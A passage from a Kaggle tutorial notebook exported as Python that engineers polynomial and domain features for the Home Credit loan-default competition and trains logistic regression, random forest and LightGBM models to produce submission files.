features\r\npoly_features = app_train[['EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3', 'DAYS_BIRTH', 'TARGET']]\r\npoly_features_test = app_test[['EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3', 'DAYS_BIRTH']]\r\n\r\n# imputer for handling missing values\r\nfrom sklearn.preprocessing import Imputer\r\nimputer = Imputer(strategy = 'median')\r\n\r\npoly_target = poly_features['TARGET']\r\n\r\npoly_features = poly_features.drop(columns = ['TARGET'])\r\n\r\n# Need to impute missing values\r\npoly_features = imputer.fit_transform(poly_features)\r\npoly_features_test = imputer.transform(poly_features_test)\r\n\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\n                                  \r\n# Create the polynomial object with specified degree\r\npoly_transformer = PolynomialFeatures(degree = 3)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Train the polynomial features\r\npoly_transformer.fit(poly_features)\r\n\r\n# Transform the features\r\npoly_features = poly_transformer.transform(poly_features)\r\npoly_features_test = poly_transformer.transform(poly_features_test)\r\nprint('Polynomial Features shape: ', poly_features.shape)\r\n\r\n\r\n# This creates a considerable number of new features. To get the names we have to use the polynomial features `get_feature_names` method.\r\n\r\n# In[ ]:\r\n\r\n\r\npoly_transformer.get_feature_names(input_features = ['EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3', 'DAYS_BIRTH'])[:15]\r\n\r\n\r\n# There are 35 features with individual features raised to powers up to degree 3 and interaction terms. Now, we can see whether any of these new features are correlated with the target.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Create a dataframe of the features \r\npoly_features = pd.DataFrame(poly_features, \r\n                             columns = poly_transformer.get_feature_names(['EXT_SOURCE_1', 'EXT_SOURCE_2', \r\n                                                                           'EXT_SOURCE_3', 'DAYS_BIRTH']))\r\n\r\n# Add in the target\r\npoly_features['TARGET'] = poly_target\r\n\r\n# Find the correlations with the target\r\npoly_corrs = poly_features.corr()['TARGET'].sort_values()\r\n\r\n# Display most negative and most positive\r\nprint(poly_corrs.head(10))\r\nprint(poly_corrs.tail(5))\r\n\r\n\r\n# Several of the new variables have a greater (in terms of absolute magnitude) correlation with the target than the original features. When we build machine learning models, we can try with and without these features to determine if they actually help the model learn. \r\n# \r\n# We will add these features to a copy of the training and testing data and then evaluate models with and without the features. Many times in machine learning, the only way to know if an approach will work is to try it out! \r\n\r\n# In[ ]:\r\n\r\n\r\n# Put test features into dataframe\r\npoly_features_test = pd.DataFrame(poly_features_test, \r\n                                  columns = poly_transformer.get_feature_names(['EXT_SOURCE_1', 'EXT_SOURCE_2', \r\n                                                                                'EXT_SOURCE_3', 'DAYS_BIRTH']))\r\n\r\n# Merge polynomial features into training dataframe\r\npoly_features['SK_ID_CURR'] = app_train['SK_ID_CURR']\r\napp_train_poly = app_train.merge(poly_features, on = 'SK_ID_CURR', how = 'left')\r\n\r\n# Merge polnomial features into testing dataframe\r\npoly_features_test['SK_ID_CURR'] = app_test['SK_ID_CURR']\r\napp_test_poly = app_test.merge(poly_features_test, on = 'SK_ID_CURR', how = 'left')\r\n\r\n# Align the dataframes\r\napp_train_poly, app_test_poly = app_train_poly.align(app_test_poly, join = 'inner', axis = 1)\r\n\r\n# Print out the new shapes\r\nprint('Training data with polynomial features shape: ', app_train_poly.shape)\r\nprint('Testing data with polynomial features shape:  ', app_test_poly.shape)\r\n\r\n\r\n# ## Domain Knowledge Features\r\n# \r\n# Maybe it's not entirely correct to call this \"domain knowledge\" because I'm not a credit expert, but perhaps we could call this \"attempts at applying limited financial knowledge\". In this frame of mind, we can make a couple features that attempt to capture what we think may be important for telling whether a client will default on a loan. Here I'm going to use five features that were inspired by [this script](https://www.kaggle.com/jsaguiar/updated-0-792-lb-lightgbm-with-simple-features) by Aguiar:\r\n# \r\n# * `CREDIT_INCOME_PERCENT`: the percentage of the credit amount relative to a client's income\r\n# * `ANNUITY_INCOME_PERCENT`: the percentage of the loan annuity relative to a client's income\r\n# * `CREDIT_TERM`:  the length of the payment in months (since the annuity is the monthly amount due\r\n# * `DAYS_EMPLOYED_PERCENT`: the percentage of the days employed relative to the client's age\r\n# \r\n# Again, thanks to Aguiar and [his great script](https://www.kaggle.com/jsaguiar/updated-0-792-lb-lightgbm-with-simple-features) for exploring these features.\r\n# \r\n# \r\n\r\n# In[23]:\r\n\r\n\r\napp_train_domain = app_train.copy()\r\napp_test_domain = app_test.copy()\r\n\r\napp_train_domain['CREDIT_INCOME_PERCENT'] = app_train_domain['AMT_CREDIT'] / app_train_domain['AMT_INCOME_TOTAL']\r\napp_train_domain['ANNUITY_INCOME_PERCENT'] = app_train_domain['AMT_ANNUITY'] / app_train_domain['AMT_INCOME_TOTAL']\r\napp_train_domain['CREDIT_TERM'] = app_train_domain['AMT_ANNUITY'] / app_train_domain['AMT_CREDIT']\r\napp_train_domain['DAYS_EMPLOYED_PERCENT'] = app_train_domain['DAYS_EMPLOYED'] / app_train_domain['DAYS_BIRTH']\r\n\r\n\r\n# In[24]:\r\n\r\n\r\napp_test_domain['CREDIT_INCOME_PERCENT'] = app_test_domain['AMT_CREDIT'] / app_test_domain['AMT_INCOME_TOTAL']\r\napp_test_domain['ANNUITY_INCOME_PERCENT'] = app_test_domain['AMT_ANNUITY'] / app_test_domain['AMT_INCOME_TOTAL']\r\napp_test_domain['CREDIT_TERM'] = app_test_domain['AMT_ANNUITY'] / app_test_domain['AMT_CREDIT']\r\napp_test_domain['DAYS_EMPLOYED_PERCENT'] = app_test_domain['DAYS_EMPLOYED'] / app_test_domain['DAYS_BIRTH']\r\n\r\n\r\n# #### Visualize New Variables\r\n# \r\n# We should explore these __domain knowledge__ variables visually in a graph. For all of these, we will make the same KDE plot colored by the value of the `TARGET`.\r\n\r\n# In[ ]:\r\n\r\n\r\nplt.figure(figsize = (12, 20))\r\n# iterate through the new features\r\nfor i, feature in enumerate(['CREDIT_INCOME_PERCENT', 'ANNUITY_INCOME_PERCENT', 'CREDIT_TERM', 'DAYS_EMPLOYED_PERCENT']):\r\n    \r\n    # create a new subplot for each source\r\n    plt.subplot(4, 1, i + 1)\r\n    # plot repaid loans\r\n    sns.kdeplot(app_train_domain.loc[app_train_domain['TARGET'] == 0, feature], label = 'target == 0')\r\n    # plot loans that were not repaid\r\n    sns.kdeplot(app_train_domain.loc[app_train_domain['TARGET'] == 1, feature], label = 'target == 1')\r\n    \r\n    # Label the plots\r\n    plt.title('Distribution of %s by Target Value' % feature)\r\n    plt.xlabel('%s' % feature); plt.ylabel('Density');\r\n    \r\nplt.tight_layout(h_pad = 2.5)\r\n\r\n\r\n# It's hard to say ahead of time if these new features will be useful. The only way to tell for sure is to try them out! \r\n\r\n# # Baseline\r\n# \r\n# For a naive baseline, we could guess the same value for all examples on the testing set.  We are asked to predict the probability of not repaying the loan, so if we are entirely unsure, we would guess 0.5 for all observations on the test set. This  will get us a Reciever Operating Characteristic Area Under the Curve (AUC ROC) of 0.5 in the competition ([random guessing on a classification task will score a 0.5](https://stats.stackexchange.com/questions/266387/can-auc-roc-be-between-0-0-5)).\r\n# \r\n# Since we already know what score we are going to get, we don't really need to make a naive baseline guess. Let's use a slightly more sophisticated model for our actual baseline: Logistic Regression.\r\n# \r\n# ## Logistic Regression Implementation\r\n# \r\n# Here I will focus on implementing the model rather than explaining the details, but for those who want to learn more about the theory of machine learning algorithms, I recommend both [An Introduction to Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/) and [Hands-On Machine Learning with Scikit-Learn and TensorFlow](http://shop.oreilly.com/product/0636920052289.do). Both of these books present the theory and also the code needed to make the models (in R and Python respectively). They both teach with the mindset that the best way to learn is by doing, and they are very effective! \r\n# \r\n# To get a baseline, we will use all of the features after encoding the categorical variables. We will preprocess the data by filling in the missing values (imputation) and normalizing the range of the features (feature scaling). The following code performs both of these preprocessing steps.\r\n\r\n# In[ ]:\r\n\r\n\r\nfrom sklearn.preprocessing import MinMaxScaler, Imputer\r\n\r\n# Drop the target from the training data\r\nif 'TARGET' in app_train:\r\n    train = app_train.drop(columns = ['TARGET'])\r\nelse:\r\n    train = app_train.copy()\r\n    \r\n# Feature names\r\nfeatures = list(train.columns)\r\n\r\n# Copy of the testing data\r\ntest = app_test.copy()\r\n\r\n# Median imputation of missing values\r\nimputer = Imputer(strategy = 'median')\r\n\r\n# Scale each feature to 0-1\r\nscaler = MinMaxScaler(feature_range = (0, 1))\r\n\r\n# Fit on the training data\r\nimputer.fit(train)\r\n\r\n# Transform both training and testing data\r\ntrain = imputer.transform(train)\r\ntest = imputer.transform(app_test)\r\n\r\n# Repeat with the scaler\r\nscaler.fit(train)\r\ntrain = scaler.transform(train)\r\ntest = scaler.transform(test)\r\n\r\nprint('Training data shape: ', train.shape)\r\nprint('Testing data shape: ', test.shape)\r\n\r\n\r\n# We will use [`LogisticRegression`from Scikit-Learn](http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html) for our first model. The only change we will make from the default model settings is to lower the [regularization parameter](http://scikit-learn.org/stable/modules/linear_model.html#logistic-regression), C, which controls the amount of overfitting (a lower value should decrease overfitting). This will get us slightly better results than the default `LogisticRegression`, but it still will set a low bar for any future models.\r\n# \r\n# Here we use the familiar Scikit-Learn modeling syntax: we first create the model, then we train the model using `.fit` and then we make predictions on the testing data using `.predict_proba` (remember that we want probabilities and not a 0 or 1).\r\n\r\n# In[ ]:\r\n\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\n# Make the model with the specified regularization parameter\r\nlog_reg = LogisticRegression(C = 0.0001)\r\n\r\n# Train on the training data\r\nlog_reg.fit(train, train_labels)\r\n\r\n\r\n# Now that the model has been trained, we can use it to make predictions. We want to predict the probabilities of not paying a loan, so we use the model `predict.proba` method. This returns an m x 2 array where m is the number of observations. The first column is the probability of the target being 0 and the second column is the probability of the target being 1 (so for a single row, the two columns must sum to 1). We want the probability the loan is not repaid, so we will select the second column.\r\n# \r\n# The following code makes the predictions and selects the correct column.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Make predictions\r\n# Make sure to select the second column only\r\nlog_reg_pred = log_reg.predict_proba(test)[:, 1]\r\n\r\n\r\n# The predictions must be in the format shown in the `sample_submission.csv` file, where there are only two columns: `SK_ID_CURR` and `TARGET`. We will create a dataframe in this format from the test set and the predictions called `submit`. \r\n\r\n# In[ ]:\r\n\r\n\r\n# Submission dataframe\r\nsubmit = app_test[['SK_ID_CURR']]\r\nsubmit['TARGET'] = log_reg_pred\r\n\r\nsubmit.head()\r\n\r\n\r\n# The predictions represent a probability between 0 and 1 that the loan will not be repaid. If we were using these predictions to classify applicants, we could set a probability threshold for determining that a loan is risky. \r\n\r\n# In[ ]:\r\n\r\n\r\n# Save the submission to a csv file\r\nsubmit.to_csv('log_reg_baseline.csv', index = False)\r\n\r\n\r\n# The submission has now been saved to the virtual environment in which our notebook is running. To access the submission, at the end of the notebook, we will hit the blue Commit & Run button at the upper right of the kernel. This runs the entire notebook and then lets us download any files that are created during the run. \r\n# \r\n# Once we run the notebook, the files created are available in the Versions tab under the Output sub-tab. From here, the submission files can be submitted to the competition or downloaded. Since there are several models in this notebook, there will be multiple output files. \r\n# \r\n# __The logistic regression baseline should score around 0.671 when submitted.__\r\n\r\n# ## Improved Model: Random Forest\r\n# \r\n# To try and beat the poor performance of our baseline, we can update the algorithm. Let's try using a Random Forest on the same training data to see how that affects performance. The Random Forest is a much more powerful model especially when we use hundreds of trees. We will use 100 trees in the random forest.\r\n\r\n# In[ ]:\r\n\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\n# Make the random forest classifier\r\nrandom_forest = RandomForestClassifier(n_estimators = 100, random_state = 50, verbose = 1, n_jobs = -1)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Train on the training data\r\nrandom_forest.fit(train, train_labels)\r\n\r\n# Extract feature importances\r\nfeature_importance_values = random_forest.feature_importances_\r\nfeature_importances = pd.DataFrame({'feature': features, 'importance': feature_importance_values})\r\n\r\n# Make predictions on the test data\r\npredictions = random_forest.predict_proba(test)[:, 1]\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Make a submission dataframe\r\nsubmit = app_test[['SK_ID_CURR']]\r\nsubmit['TARGET'] = predictions\r\n\r\n# Save the submission dataframe\r\nsubmit.to_csv('random_forest_baseline.csv', index = False)\r\n\r\n\r\n# These predictions will also be available when we run the entire notebook. \r\n# \r\n# __This model should score around 0.678 when submitted.__\r\n\r\n# ### Make Predictions using Engineered Features\r\n# \r\n# The only way to see if the Polynomial Features and Domain knowledge improved the model is to train a test a model on these features! We can then compare the submission performance to that for the model without these features to gauge the effect of our feature engineering.\r\n\r\n# In[ ]:\r\n\r\n\r\npoly_features_names = list(app_train_poly.columns)\r\n\r\n# Impute the polynomial features\r\nimputer = Imputer(strategy = 'median')\r\n\r\npoly_features = imputer.fit_transform(app_train_poly)\r\npoly_features_test = imputer.transform(app_test_poly)\r\n\r\n# Scale the polynomial features\r\nscaler = MinMaxScaler(feature_range = (0, 1))\r\n\r\npoly_features = scaler.fit_transform(poly_features)\r\npoly_features_test = scaler.transform(poly_features_test)\r\n\r\nrandom_forest_poly = RandomForestClassifier(n_estimators = 100, random_state = 50, verbose = 1, n_jobs = -1)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Train on the training data\r\nrandom_forest_poly.fit(poly_features, train_labels)\r\n\r\n# Make predictions on the test data\r\npredictions = random_forest_poly.predict_proba(poly_features_test)[:, 1]\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Make a submission dataframe\r\nsubmit = app_test[['SK_ID_CURR']]\r\nsubmit['TARGET'] = predictions\r\n\r\n# Save the submission dataframe\r\nsubmit.to_csv('random_forest_baseline_engineered.csv', index = False)\r\n\r\n\r\n# This model scored 0.678 when submitted to the competition, exactly the same as that without the engineered features. Given these results, it does not appear that our feature construction helped in this case. \r\n# \r\n# #### Testing Domain Features\r\n# \r\n# Now we can test the domain features we made by hand.\r\n\r\n# In[ ]:\r\n\r\n\r\napp_train_domain = app_train_domain.drop(columns = 'TARGET')\r\n\r\ndomain_features_names = list(app_train_domain.columns)\r\n\r\n# Impute the domainnomial features\r\nimputer = Imputer(strategy = 'median')\r\n\r\ndomain_features = imputer.fit_transform(app_train_domain)\r\ndomain_features_test = imputer.transform(app_test_domain)\r\n\r\n# Scale the domainnomial features\r\nscaler = MinMaxScaler(feature_range = (0, 1))\r\n\r\ndomain_features = scaler.fit_transform(domain_features)\r\ndomain_features_test = scaler.transform(domain_features_test)\r\n\r\nrandom_forest_domain = RandomForestClassifier(n_estimators = 100, random_state = 50, verbose = 1, n_jobs = -1)\r\n\r\n# Train on the training data\r\nrandom_forest_domain.fit(domain_features, train_labels)\r\n\r\n# Extract feature importances\r\nfeature_importance_values_domain = random_forest_domain.feature_importances_\r\nfeature_importances_domain = pd.DataFrame({'feature': domain_features_names, 'importance': feature_importance_values_domain})\r\n\r\n# Make predictions on the test data\r\npredictions = random_forest_domain.predict_proba(domain_features_test)[:, 1]\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Make a submission dataframe\r\nsubmit = app_test[['SK_ID_CURR']]\r\nsubmit['TARGET'] = predictions\r\n\r\n# Save the submission dataframe\r\nsubmit.to_csv('random_forest_baseline_domain.csv', index = False)\r\n\r\n\r\n# This scores 0.679 when submitted which probably shows that the engineered features do not help in this model (however they do help in the Gradient Boosting Model at the end of the notebook).\r\n# \r\n# In later notebooks, we will do more [feature engineering](https://docs.featuretools.com/index.html) by using the information from the other data sources. From experience, this will definitely help our model! \r\n\r\n# ## Model Interpretation: Feature Importances\r\n# \r\n# As a simple method to see which variables are the most relevant, we can look at the feature importances of the random forest. Given the correlations we saw in the exploratory data analysis, we should expect that the most important features are the `EXT_SOURCE` and the `DAYS_BIRTH`. We may use these feature importances as a method of dimensionality reduction in future work.\r\n\r\n# In[ ]:\r\n\r\n\r\ndef plot_feature_importances(df):\r\n    \"\"\"\r\n    Plot importances returned by a model. This can work with any measure of\r\n    feature importance provided that higher importance is better. \r\n    \r\n    Args:\r\n        df (dataframe): feature importances. Must have the features in a column\r\n        called `features` and the importances in a column called `importance\r\n        \r\n    Returns:\r\n        shows a plot of the 15 most importance features\r\n        \r\n        df (dataframe): feature importances sorted by importance (highest to lowest) \r\n        with a column for normalized importance\r\n        \"\"\"\r\n    \r\n    # Sort features according to importance\r\n    df = df.sort_values('importance', ascending = False).reset_index()\r\n    \r\n    # Normalize the feature importances to add up to one\r\n    df['importance_normalized'] = df['importance'] / df['importance'].sum()\r\n\r\n    # Make a horizontal bar chart of feature importances\r\n    plt.figure(figsize = (10, 6))\r\n    ax = plt.subplot()\r\n    \r\n    # Need to reverse the index to plot most important on top\r\n    ax.barh(list(reversed(list(df.index[:15]))), \r\n            df['importance_normalized'].head(15), \r\n            align = 'center', edgecolor = 'k')\r\n    \r\n    # Set the yticks and labels\r\n    ax.set_yticks(list(reversed(list(df.index[:15]))))\r\n    ax.set_yticklabels(df['feature'].head(15))\r\n    \r\n    # Plot labeling\r\n    plt.xlabel('Normalized Importance'); plt.title('Feature Importances')\r\n    plt.show()\r\n    \r\n    return df\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Show the feature importances for the default features\r\nfeature_importances_sorted = plot_feature_importances(feature_importances)\r\n\r\n\r\n# As expected, the most important features are those dealing with `EXT_SOURCE` and `DAYS_BIRTH`. We see that there are only a handful of features with a significant importance to the model, which suggests we may be able to drop many of the features without a decrease in performance (and we may even see an increase in performance.) Feature importances are not the most sophisticated method to interpret a model or perform dimensionality reduction, but they let us start to understand what factors our model takes into account when it makes predictions. \r\n\r\n# In[ ]:\r\n\r\n\r\nfeature_importances_domain_sorted = plot_feature_importances(feature_importances_domain)\r\n\r\n\r\n# We see that all four of our hand-engineered features made it into the top 15 most important! This should give us confidence that our domain knowledge was at least partially on track.\r\n\r\n# # Conclusions\r\n# \r\n# In this notebook, we saw how to get started with a Kaggle machine learning competition. We first made sure to understand the data, our task, and the metric by which our submissions will be judged. Then, we performed a fairly simple EDA to try and identify relationships, trends, or anomalies that may help our modeling. Along the way, we performed necessary preprocessing steps such as encoding categorical variables, imputing missing values, and scaling features to a range. Then, we constructed new features out of the existing data to see if doing so could help our model. \r\n# \r\n# Once the data exploration, data preparation, and feature engineering was complete, we implemented a baseline model upon which we hope to improve. Then we built a second slightly more complicated model to beat our first score. We also carried out an experiment to determine the effect of adding the engineering variables. \r\n# \r\n# We followed the general outline of a [machine learning project](https://towardsdatascience.com/a-complete-machine-learning-walk-through-in-python-part-one-c62152f39420): \r\n# \r\n# 1.  Understand the problem and the data\r\n# 2. Data cleaning and formatting (this was mostly done for us)\r\n# 3. Exploratory Data Analysis\r\n# 4. Baseline model\r\n# 5.  Improved model\r\n# 6. Model interpretation (just a little)\r\n# \r\n# Machine learning competitions do differ slightly from typical data science problems in that we are concerned only with achieving the best performance on a single metric and do not care about the interpretation. However, by attempting to understand how our models make decisions, we can try to improve them or examine the mistakes in order to correct the errors. In future notebooks we will look at incorporating more sources of data, building more complex models (by following the code of others), and improving our scores. \r\n# \r\n# I hope this notebook was able to get you up and running in this machine learning competition and that you are now ready to go out on your own - with help from the community - and start working on some great problems! \r\n# \r\n# __Running the notebook__: now that we are at the end of the notebook, you can hit the blue Commit & Run button to execute all the code at once. After the run is complete (this should take about 10 minutes), you can then access the files that were created by going to the versions tab and then the output sub-tab. The submission files can be directly submitted to the competition from this tab or they can be downloaded to a local machine and saved. The final part is to share the share the notebook: go to the settings tab and change the visibility to Public. This allows the entire world to see your work! \r\n# \r\n# ### Follow-up Notebooks\r\n# \r\n# For those looking to keep working on this problem, I have a series of follow-up notebooks:\r\n# \r\n# * [Manual Feature Engineering Part One](https://www.kaggle.com/willkoehrsen/introduction-to-manual-feature-engineering)\r\n# * [Manual Feature Engineering Part Two](https://www.kaggle.com/willkoehrsen/introduction-to-manual-feature-engineering-p2)\r\n# * [Introduction to Automated Feature Engineering](https://www.kaggle.com/willkoehrsen/automated-feature-engineering-basics)\r\n# * [Advanced Automated Feature Engineering](https://www.kaggle.com/willkoehrsen/tuning-automated-feature-engineering-exploratory)\r\n# * [Feature Selection](https://www.kaggle.com/willkoehrsen/introduction-to-feature-selection)\r\n# * [Intro to Model Tuning: Grid and Random Search](https://www.kaggle.com/willkoehrsen/intro-to-model-tuning-grid-and-random-search)\r\n# \r\n# As always, I welcome feedback and constructive criticism. I write for Towards Data Science at https://medium.com/@williamkoehrsen/ and can be reached on Twitter at https://twitter.com/koehrsen_will\r\n# \r\n# Will\r\n# \r\n\r\n# # Just for Fun: Light Gradient Boosting Machine\r\n# \r\n# Now (if you want, this part is entirely optional) we can step off the deep end and use a real machine learning model: the [gradient boosting machine](https://machinelearningmastery.com/gentle-introduction-gradient-boosting-algorithm-machine-learning/) using the [LightGBM library](http://lightgbm.readthedocs.io/en/latest/Quick-Start.html)! The Gradient Boosting Machine is currently the leading model for learning on structured datasets (especially on Kaggle) and we will probably need some form of this model to do well in the competition. Don't worry, even if this code looks intimidating, it's just a series of small steps that build up to a complete model. I added this code just to show what may be in store for this project, and because it gets us a slightly better score on the leaderboard. In future notebooks we will see how to work with more advanced models (which mostly means adapting existing code to make it work better), feature engineering, and feature selection. See you in the next notebook!  \r\n\r\n# In[ ]:\r\n\r\n\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn.metrics import roc_auc_score\r\nimport lightgbm as lgb\r\nimport gc\r\n\r\ndef model(features, test_features, encoding = 'ohe', n_folds = 5):\r\n    \r\n    \"\"\"Train and test a light gradient boosting model using\r\n    cross validation. \r\n    \r\n    Parameters\r\n    --------\r\n        features (pd.DataFrame): \r\n            dataframe of training features to use \r\n            for training a model. Must include the TARGET column.\r\n        test_features (pd.DataFrame): \r\n            dataframe of testing features to use\r\n            for making predictions with the model. \r\n        encoding (str, default = 'ohe'): \r\n            method for encoding categorical variables. Either 'ohe' for one-hot encoding or 'le' for integer label encoding\r\n            n_folds (int, default = 5): number of folds to use for cross validation\r\n        \r\n    Return\r\n    --------\r\n        submission (pd.DataFrame): \r\n            dataframe with `SK_ID_CURR` and `TARGET` probabilities\r\n            predicted by the model.\r\n        feature_importances (pd.DataFrame): \r\n            dataframe with the feature importances from the model.\r\n        valid_metrics (pd.DataFrame): \r\n            dataframe with training and validation metrics (ROC AUC) for each fold and overall.\r\n        \r\n    \"\"\"\r\n    \r\n    # Extract the ids\r\n    train_ids = features['SK_ID_CURR']\r\n    test_ids = test_features['SK_ID_CURR']\r\n    \r\n    # Extract the labels for training\r\n    labels = features['TARGET']\r\n    \r\n    # Remove the ids and target\r\n    features = features.drop(columns = ['SK_ID_CURR', 'TARGET'])\r\n    test_features = test_features.drop(columns = ['SK_ID_CURR'])\r\n    \r\n    \r\n    # One Hot Encoding\r\n    if encoding == 'ohe':\r\n        features = pd.get_dummies(features)\r\n        test_features = pd.get_dummies(test_features)\r\n        \r\n        # Align the dataframes by the columns\r\n        features, test_features = features.align(test_features, join = 'inner', axis = 1)\r\n        \r\n        # No categorical indices to record\r\n        cat_indices = 'auto'\r\n    \r\n    # Integer label encoding\r\n    elif encoding == 'le':\r\n        \r\n        # Create a label encoder\r\n        label_encoder = LabelEncoder()\r\n        \r\n        # List for storing categorical indices\r\n        cat_indices = []\r\n        \r\n        # Iterate through each column\r\n        for i, col in enumerate(features):\r\n            if features[col].dtype == 'object':\r\n                # Map the categorical features to integers\r\n                features[col] = label_encoder.fit_transform(np.array(features[col].astype(str)).reshape((-1,)))\r\n                test_features[col] = label_encoder.transform(np.array(test_features[col].astype(str)).reshape((-1,)))\r\n\r\n                # Record the categorical indices\r\n                cat_indices.append(i)\r\n    \r\n    # Catch error if label encoding scheme is not valid\r\n    else:\r\n        raise ValueError(\"Encoding must be either 'ohe' or 'le'\")\r\n        \r\n    print('Training Data Shape: ', features.shape)\r\n    print('Testing Data Shape: ', test_features.shape)\r\n    \r\n    # Extract feature names\r\n    feature_names = list(features.columns)\r\n    \r\n    # Convert to np arrays\r\n    features = np.array(features)\r\n    test_features = np.array(test_features)\r\n    \r\n    # Create the kfold object\r\n    k_fold = KFold(n_splits = n_folds, shuffle = True, random_state = 50)\r\n    \r\n    # Empty array for feature importances\r\n    feature_importance_values = np.zeros(len(feature_names))\r\n    \r\n    # Empty array for test predictions\r\n    test_predictions = np.zeros(test_features.shape[0])\r\n    \r\n    # Empty array for out of fold validation predictions\r\n    out_of_fold = np.zeros(features.shape[0])\r\n    \r\n    # Lists for recording validation and training scores\r\n    valid_scores = []\r\n    train_scores = []\r\n    \r\n    # Iterate through each fold\r\n    for train_indices, valid_indices in k_fold.split(features):\r\n        \r\n        # Training data for the fold\r\n        train_features, train_labels = features[train_indices], labels[train_indices]\r\n        # Validation data for the fold\r\n        valid_features, valid_labels = features[valid_indices], labels[valid_indices]\r\n        \r\n        # Create the model\r\n        model = lgb.LGBMClassifier(n_estimators=10000, objective = 'binary', \r\n                                   class_weight = 'balanced', learning_rate = 0.05, \r\n                                   reg_alpha = 0.1, reg_lambda = 0.1, \r\n                                   subsample = 0.8, n_jobs = -1, random_state = 50)\r\n        \r\n        # Train the model\r\n        model.fit(train_features, train_labels, eval_metric = 'auc',\r\n                  eval_set = [(valid_features, valid_labels), (train_features, train_labels)],\r\n                  eval_names = ['valid', 'train'], categorical_feature = cat_indices,\r\n                  early_stopping_rounds = 100, verbose = 200)\r\n        \r\n        # Record the best iteration\r\n        best_iteration = model.best_iteration_\r\n        \r\n        # Record the feature importances\r\n        feature_importance_values += model.feature_importances_ / k_fold.n_splits\r\n        \r\n        # Make predictions\r\n        test_predictions += model.predict_proba(test_features, num_iteration = best_iteration)[:, 1] / k_fold.n_splits\r\n        \r\n        # Record the out of fold predictions\r\n        out_of_fold[valid_indices] = model.predict_proba(valid_features, num_iteration = best_iteration)[:, 1]\r\n        \r\n        # Record the best score\r\n        valid_score = model.best_score_['valid']['auc']\r\n        train_score = model.best_score_['train']['auc']\r\n        \r\n        valid_scores.append(valid_score)\r\n        train_scores.append(train_score)\r\n        \r\n        # Clean up memory\r\n        gc.enable()\r\n        del model, train_features, valid_features\r\n        gc.collect()\r\n        \r\n    # Make the submission dataframe\r\n    submission = pd.DataFrame({'SK_ID_CURR': test_ids, 'TARGET': test_predictions})\r\n    \r\n    # Make the feature importance dataframe\r\n    feature_importances = pd.DataFrame({'feature': feature_names, 'importance': feature_importance_values})\r\n    \r\n    # Overall validation score\r\n    valid_auc = roc_auc_score(labels, out_of_fold)\r\n    \r\n    # Add the overall scores to the metrics\r\n    valid_scores.append(valid_auc)\r\n    train_scores.append(np.mean(train_scores))\r\n    \r\n    # Needed for creating dataframe of validation scores\r\n    fold_names = list(range(n_folds))\r\n    fold_names.append('overall')\r\n    \r\n    # Dataframe of validation scores\r\n    metrics = pd.DataFrame({'fold': fold_names,\r\n                            'train': train_scores,\r\n                            'valid': valid_scores}) \r\n    \r\n    return submission, feature_importances, metrics\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nsubmission, fi, metrics = model(app_train, app_test)\r\nprint('Baseline metrics')\r\nprint(metrics)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nfi_sorted = plot_feature_importances(fi)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nsubmission.to_csv('baseline_lgb.csv', index = False)\r\n\r\n\r\n# This submission should score about 0.735 on the leaderboard. We will certainly best that in future work! \r\n\r\n# In[ ]:\r\n\r\n\r\napp_train_domain['TARGET'] = train_labels\r\n\r\n# Test the domain knolwedge features\r\nsubmission_domain, fi_domain, metrics_domain = model(app_train_domain, app_test_domain)\r\nprint('Baseline with domain knowledge features metrics')\r\nprint(metrics_domain)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nfi_sorted = plot_feature_importances(fi_domain)\r\n\r\n\r\n# Again, we see tha some of our features made it into the most important. Going forward, we will need to think about whatother domain knowledge features may be useful for this problem (or we should consult someone who knows more about the financial industry! \r\n\r\n# In[ ]:\r\n\r\n\r\nsubmission_domain.to_csv('baseline_lgb_domain_features.csv', index = False)\r\n\r\n\r\n# This model scores about 0.754 when submitted to the public leaderboard indicating that the domain features do improve the performance! [Feature engineering](https://en.wikipedia.org/wiki/Feature_engineering) is going to be a critical part of this competition (as it is for all machine learning problems)!\r\n\r\n# In[ ]:\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "04571da5bc03af6e4bd113b71f9c141b53f90679", "size": 74811, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/start-here-a-gentle-introduction.py", "max_stars_repo_name": "harnalashok/credit_risk", "max_stars_repo_head_hexsha": "8ad0426d8ac66a115ef6b6feb8a8a05119c1cd9e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-03T13:27:10.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-03T13:27:10.000Z", "max_issues_repo_path": "_build/jupyter_execute/start-here-a-gentle-introduction.py", "max_issues_repo_name": "harnalashok/credit_risk", "max_issues_repo_head_hexsha": "8ad0426d8ac66a115ef6b6feb8a8a05119c1cd9e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/start-here-a-gentle-introduction.py", "max_forks_repo_name": "harnalashok/credit_risk", "max_forks_repo_head_hexsha": "8ad0426d8ac66a115ef6b6feb8a8a05119c1cd9e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 51.9881862404, "max_line_length": 